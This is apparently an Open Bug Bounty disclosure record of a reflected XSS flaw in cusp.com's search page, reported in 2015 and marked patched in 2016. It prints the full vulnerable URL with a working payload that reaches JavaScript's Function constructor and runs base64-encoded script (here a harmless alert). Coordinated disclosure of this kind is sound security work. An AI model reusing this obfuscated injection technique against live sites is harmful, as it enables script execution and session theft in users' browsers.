Lucene search

K
openbugbountyNopernikOBB:72646
HistoryJul 15, 2015 - 1:32 a.m.

cusp.com XSS vulnerability

2015-07-1501:32:00
nopernik
www.openbugbounty.org
9
Vulnerable URL:
http://www.cusp.com/search.jsp?N=0&from;=saledi&st;=s&rd;=1&Ntt;=123";%0d%0a[]["filter"]["constructor"]( atob("YWxlcnQoL3hzc3Bvc2VkLyk=") )();//
Details:
Description Value
Patched: Yes, at 30.01.2016
Latest check for patch: 30.01.2016 21:18 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 72397
Google Pagerank 5
VIP website status: No
Check cusp.com SSL connection: (Grade: B+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 15 July, 2015 01:32 GMT
Vulnerability existence verified and confirmed 15 July, 2015 01:35 GMT
Vulnerability patched by the website owner 30 January, 2016 21:18 GMT